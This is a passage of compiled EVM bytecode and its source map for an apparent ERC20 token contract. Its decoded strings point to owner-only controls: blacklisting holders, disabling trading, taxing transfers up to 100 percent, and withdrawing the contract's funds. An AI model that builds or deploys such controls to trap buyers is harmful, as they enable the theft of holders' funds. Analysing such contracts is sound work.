d5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611337906131fd565b60405180910390fd5b6064811115611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b9061346d565b60405180910390fd5b80600e8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546113c69061331d565b80601f01602080910402602001604051908101604052809291908181526020018280546113f29061331d565b801561143f5780601f106114145761010080835404028352916020019161143f565b820191906000526020600020905b81548152906001019060200180831161142257829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ce906131fd565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b7906131fd565b60405180910390fd5b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611679338484611dc3565b905092915050565b60145481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170c906131fd565b60405180910390fd5b60005b838390508110156117b257816009600086868581811061173b5761173a61348d565b5b90506020020160208101906117509190612f48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806117ab906134bc565b9050611718565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183d906131fd565b60405180910390fd5b60005b838390508110156118e357816001600086868581811061186c5761186b61348d565b5b90506020020160208101906118819190612f48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806118dc906134bc565b9050611849565b50505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461199d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611994906131fd565b60405180910390fd5b82601260146101000a81548160ff0219169083151502179055508160138190555080601481905550505050565b600260009054906101000a900460ff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0f906131fd565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc60648484611b45919061324c565b611b4f91906132bd565b9081150290604051600060405180830381858888f19350505050158015611b7a573d6000803e3d6000fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c04906131fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7390613550565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9e9190612d6f565b60405180910390fd5b5060008385611db69190613570565b9050809150509392505050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e49906135f0565b60405180910390fd5b611e5a6121d6565b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611ec157611ec06122ad565b5b60006298968083611ed291906132bd565b9050600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611f8f578083611f8c9190613570565b92505b612018836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5f9092919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006120678686612828565b61207157836120cd565b6120cc8685601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146128d6565b5b905061212181600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7990919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121c19190612cc4565b60405180910390a36001925050509392505050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156122435750601560009054906101000a900460ff16155b801561225b5750601260149054906101000a900460ff165b80156122a85750601354600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601560006101000a81548160ff0219169083151502179055506000601454600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561231d576014549050612360565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b600061239e6002612390600c54612382600a5487612ad790919063ffffffff16565b612b5190919063ffffffff16565b612b5190919063ffffffff16565b905060006123b58284612b9b90919063ffffffff16565b90506000600267ffffffffffffffff8111156123d4576123d3613610565b5b6040519080825280602002602001820160405280156124025781602001602082028036833780820191505090505b509050308160008151811061241a5761241961348d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124e59190613654565b816001815181106124f9576124f861348d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161259795949392919061377a565b600060405180830381600087803b1580156125b157600080fd5b505af11580156125c5573d6000803e3d6000fd5b50505050600047905060006125fa6125e96002600a54612b5190919063ffffffff16565b600c54612b9b90919063ffffffff16565b90506000612638600261262a8461261c600a5488612ad790919063ffffffff16565b612b5190919063ffffffff16565b612b5190919063ffffffff16565b9050600061264f8285612b9b90919063ffffffff16565b905060008111156126f1576000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682617530906040516126a690613805565b600060405180830381858888f193505050503d80600081146126e4576040519150601f19603f3d011682016040523d82523d6000602084013e6126e9565b606091505b505080915050505b600087111561280357601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016127839695949392919061381a565b60606040518083038185885af11580156127a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906127c6919061387b565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450682886040516127fa9291906138ce565b60405180910390a15b50505050505050506000601560006101000a81548160ff021916908315150217905550565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128ce5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000600260009054906101000a900460ff16612927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291e90613943565b60405180910390fd5b6000612960600d546129528561293f57600c54612943565b600e545b87612ad790919063ffffffff16565b612b5190919063ffffffff16565b90506129b481600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7990919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a549190612cc4565b60405180910390a3612a6f8185612b9b90919063ffffffff16565b9150509392505050565b6000808284612a889190613963565b905083811015612acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac4906139e3565b60405180910390fd5b8091505092915050565b6000808303612ae95760009050612b4b565b60008284612af7919061324c565b9050828482612b0691906132bd565b14612b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3d90613a75565b60405180910390fd5b809150505b92915050565b6000612b9383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612be5565b905092915050565b6000612bdd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d5f565b905092915050565b60008083118290612c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c239190612d6f565b60405180910390fd5b5060008385612c3b91906132bd565b9050809150509392505050565b600080fd5b600080fd5b6000819050919050565b612c6581612c52565b8114612c7057600080fd5b50565b600081359050612c8281612c5c565b92915050565b600060208284031215612c9e57612c9d612c48565b5b6000612cac84828501612c73565b91505092915050565b612cbe81612c52565b82525050565b6000602082019050612cd96000830184612cb5565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d19578082015181840152602081019050612cfe565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d4182612cdf565b612d4b8185612cea565b9350612d5b818560208601612cfb565b612d6481612d25565b840191505092915050565b60006020820190508181036000830152612d898184612d36565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dbc82612d91565b9050919050565b612dcc81612db1565b8114612dd757600080fd5b50565b600081359050612de981612dc3565b92915050565b60008060408385031215612e0657612e05612c48565b5b6000612e1485828601612dda565b9250506020612e2585828601612c73565b9150509250929050565b60008115159050919050565b612e4481612e2f565b82525050565b6000602082019050612e5f6000830184612e3b565b92915050565b600080600060608486031215612e7e57612e7d612c48565b5b6000612e8c86828701612dda565b9350506020612e9d86828701612dda565b9250506040612eae86828701612c73565b9150509250925092565b600060ff82169050919050565b612ece81612eb8565b82525050565b6000602082019050612ee96000830184612ec5565b92915050565b612ef881612e2f565b8114612f0357600080fd5b50565b600081359050612f1581612eef565b92915050565b600060208284031215612f3157612f30612c48565b5b6000612f3f84828501612f06565b91505092915050565b600060208284031215612f5e57612f5d612c48565b5b6000612f6c84828501612dda565b91505092915050565b60008060408385031215612f8c57612f8b612c48565b5b6000612f9a85828601612dda565b9250506020612fab85828601612f06565b9150509250929050565b612fbe81612db1565b82525050565b6000602082019050612fd96000830184612fb5565b92915050565b60008060408385031215612ff657612ff5612c48565b5b600061300485828601612dda565b925050602061301585828601612dda565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f8401126130445761304361301f565b5b8235905067ffffffffffffffff81111561306157613060613024565b5b60208301915083602082028301111561307d5761307c613029565b5b9250929050565b60008060006040848603121561309d5761309c612c48565b5b600084013567ffffffffffffffff8111156130bb576130ba612c4d565b5b6130c78682870161302e565b935093505060206130da86828701612f06565b9150509250925092565b6000806000606084860312156130fd576130fc612c48565b5b600061310b86828701612f06565b935050602061311c86828701612c73565b925050604061312d86828701612c73565b9150509250925092565b6000819050919050565b600061315c61315761315284612d91565b613137565b612d91565b9050919050565b600061316e82613141565b9050919050565b600061318082613163565b9050919050565b61319081613175565b82525050565b60006020820190506131ab6000830184613187565b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b60006131e7600683612cea565b91506131f2826131b1565b602082019050919050565b60006020820190508181036000830152613216816131da565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061325782612c52565b915061326283612c52565b925082820261327081612c52565b915082820484148315176132875761328661321d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006132c882612c52565b91506132d383612c52565b9250826132e3576132e261328e565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061333557607f821691505b602082108103613348576133476132ee565b5b50919050565b60008151905061335d81612c5c565b92915050565b60006020828403121561337957613378612c48565b5b60006133878482850161334e565b91505092915050565b60006040820190506133a56000830185612fb5565b6133b26020830184612cb5565b9392505050565b6000815190506133c881612eef565b92915050565b6000602082840312156133e4576133e3612c48565b5b60006133f2848285016133b9565b91505092915050565b7f5461782070657263656e74616765206d757374206265206265747765656e203060008201527f20616e6420313030000000000000000000000000000000000000000000000000602082015250565b6000613457602883612cea565b9150613462826133fb565b604082019050919050565b600060208201905081810360008301526134868161344a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006134c782612c52565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036134f9576134f861321d565b5b600182019050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b600061353a600883612cea565b915061354582613504565b602082019050919050565b600060208201905081810360008301526135698161352d565b9050919050565b600061357b82612c52565b915061358683612c52565b925082820390508181111561359e5761359d61321d565b5b92915050565b7f53656e64657220697320626c61636b6c69737465640000000000000000000000600082015250565b60006135da601583612cea565b91506135e5826135a4565b602082019050919050565b60006020820190508181036000830152613609816135cd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061364e81612dc3565b92915050565b60006020828403121561366a57613669612c48565b5b60006136788482850161363f565b91505092915050565b6000819050919050565b60006136a66136a161369c84613681565b613137565b612c52565b9050919050565b6136b68161368b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136f181612db1565b82525050565b600061370383836136e8565b60208301905092915050565b6000602082019050919050565b6000613727826136bc565b61373181856136c7565b935061373c836136d8565b8060005b8381101561376d57815161375488826136f7565b975061375f8361370f565b925050600181019050613740565b5085935050505092915050565b600060a08201905061378f6000830188612cb5565b61379c60208301876136ad565b81810360408301526137ae818661371c565b90506137bd6060830185612fb5565b6137ca6080830184612cb5565b9695505050505050565b600081905092915050565b50565b60006137ef6000836137d4565b91506137fa826137df565b600082019050919050565b6000613810826137e2565b9150819050919050565b600060c08201905061382f6000830189612fb5565b61383c6020830188612cb5565b61384960408301876136ad565b61385660608301866136ad565b6138636080830185612fb5565b61387060a0830184612cb5565b979650505050505050565b60008060006060848603121561389457613893612c48565b5b60006138a28682870161334e565b93505060206138b38682870161334e565b92505060406138c48682870161334e565b9150509250925092565b60006040820190506138e36000830185612cb5565b6138f06020830184612cb5565b9392505050565b7f54726164696e672069732063757272656e746c792064697361626c6564000000600082015250565b600061392d601d83612cea565b9150613938826138f7565b602082019050919050565b6000602082019050818103600083015261395c81613920565b9050919050565b600061396e82612c52565b915061397983612c52565b92508282019050808211156139915761399061321d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006139cd601b83612cea565b91506139d882613997565b602082019050919050565b600060208201905081810360008301526139fc816139c0565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a5f602183612cea565b9150613a6a82613a03565b604082019050919050565b60006020820190508181036000830152613a8e81613a52565b905091905056fea26469706673582212207b680e7d5dc867ff09ede280ceeb470ee452ec46a8848c199205667dbbb7278a64736f6c63430008120033

Deployed Bytecode Sourcemap

4693:9178:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8142:181;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5769:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6804:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7240:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11794:257;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5497:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6534:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5430:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7766:368;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6628:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4853:96;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7472:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11072:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5732:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6890:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2823:148;;;;;;;;;;;;;:::i;:::-;;10305:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5122:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10670:158;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2637:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6714:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11670:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10836:228;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5704:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7602:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5814:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11204:228;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11440:224;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5578:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10409:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4810:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7001:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5621:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12059:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2979:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5665:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8142:181;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;8310:5:::1;8281:24;8266:12;;:39;;;;:::i;:::-;8265:50;;;;:::i;:::-;8247:15;:68;;;;8142:181:::0;:::o;5769:38::-;;;;:::o;6804:80::-;6852:13;6876:5;6869:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6804:80;:::o;7240:216::-;7315:4;7367:6;7332:11;:23;7344:10;7332:23;;;;;;;;;;;;;;;:32;7356:7;7332:32;;;;;;;;;;;;;;;:41;;;;7410:7;7389:37;;7398:10;7389:37;;;7419:6;7389:37;;;;;;:::i;:::-;;;;;;;;7444:4;7437:11;;7240:216;;;;:::o;11794:257::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11889:19:::1;11917:12;11911:29;;;11949:4;11911:44;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11889:66;;11972:12;11966:28;;;11995:10;12039:3;12020:16;12006:11;:30;;;;:::i;:::-;:36;;;;:::i;:::-;11966:77;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11878:173;11794:257:::0;;:::o;5497:36::-;;;;:::o;6534:88::-;6589:7;6607:12;;6600:19;;6534:88;:::o;5430:60::-;;;;:::o;7766:368::-;7866:4;7921:17;7886:11;:19;7898:6;7886:19;;;;;;;;;;;;;;;:31;7906:10;7886:31;;;;;;;;;;;;;;;;:52;7883:186;;7988:69;8024:6;7988:69;;;;;;;;;;;;;;;;;:11;:19;8000:6;7988:19;;;;;;;;;;;;;;;:31;8008:10;7988:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;7954:11;:19;7966:6;7954:19;;;;;;;;;;;;;;;:31;7974:10;7954:31;;;;;;;;;;;;;;;:103;;;;7883:186;8086:40;8100:6;8108:9;8119:6;8086:13;:40::i;:::-;8079:47;;7766:368;;;;;:::o;6628:80::-;6680:5;5058:1;6689:16;;6628:80;:::o;4853:96::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;4934:7:::1;4919:12;;:22;;;;;;;;;;;;;;;;;;4853:96:::0;:::o;7472:122::-;7527:4;7551:35;7559:7;7568:17;7551:7;:35::i;:::-;7544:42;;7472:122;;;:::o;11072:120::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11178:6:::1;11156:11;:19;11168:6;11156:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;11072:120:::0;;:::o;5732:30::-;;;;;;;;;;;;;:::o;6890:105::-;6956:7;6974:9;:18;6984:7;6974:18;;;;;;;;;;;;;;;;6967:25;;6890:105;;;:::o;2823:148::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;2930:1:::1;2893:40;;2914:6;::::0;::::1;;;;;;;;2893:40;;;;;;;;;;;;2961:1;2944:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2823:148::o:0;10305:92::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;10381:8:::1;10374:4;;:15;;;;;;;;;;;;;;;;;;10305:92:::0;:::o;5122:56::-;;;;:::o;10670:158::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;10748:3:::1;10741;:10;;10733:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;10817:3;10807:7;:13;;;;10670:158:::0;:::o;2637:79::-;2675:7;2702:6;;;;;;;;;;;2695:13;;2637:79;:::o;6714:84::-;6764:13;6788:7;6781:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6714:84;:::o;11670:116::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11772:6:::1;11749:13;:20;11763:5;11749:20;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;11670:116:::0;;:::o;10836:228::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;10979:22:::1;10955:21;;:46;;;;;;;;;;;;;;;;;;11035:21;11012:20;;:44;;;;;;;;;;;;;;;;;;10836:228:::0;;:::o;5704:19::-;;;;;;;;;;;;;:::o;7602:156::-;7682:4;7706:44;7720:10;7732:9;7743:6;7706:13;:44::i;:::-;7699:51;;7602:156;;;;:::o;5814:46::-;;;;:::o;11204:228::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11326:9:::1;11321:104;11341:9;;:16;;11337:1;:20;11321:104;;;11407:6;11379:11;:25;11391:9;;11401:1;11391:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11379:25;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;11359:3;;;;:::i;:::-;;;11321:104;;;;11204:228:::0;;;:::o;11440:224::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11559:9:::1;11554:103;11574:9;;:16;;11570:1;:20;11554:103;;;11642:3;11612:13;:27;11626:9;;11636:1;11626:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11612:27;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;11592:3;;;;:::i;:::-;;;11554:103;;;;11440:224:::0;;;:::o;5578:36::-;;;;;;;;;;;;;:::o;10409:243::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;10548:8:::1;10534:11;;:22;;;;;;;;;;;;;;;;;;10583:14;10567:13;:30;;;;10627:17;10608:16;:36;;;;10409:243:::0;;;:::o;4810:32::-;;;;;;;;;;;;;:::o;7001:133::-;7085:7;7103:11;:19;7115:6;7103:19;;;;;;;;;;;;;;;:28;7123:7;7103:28;;;;;;;;;;;;;;;;7096:35;;7001:133;;;;:::o;5621:35::-;;;;;;;;;;;;;:::o;12059:199::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;12134:17:::1;12154:21;12134:41;;12194:10;12186:28;;:64;12246:3;12227:16;12215:9;:28;;;;:::i;:::-;:34;;;;:::i;:::-;12186:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;12123:135;12059:199:::0;:::o;2979:214::-;2774:10;2764:20;;:6;;;;;;;;;;:20;;;2756:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;3088:1:::1;3068:22;;:8;:22;;::::0;3060:43: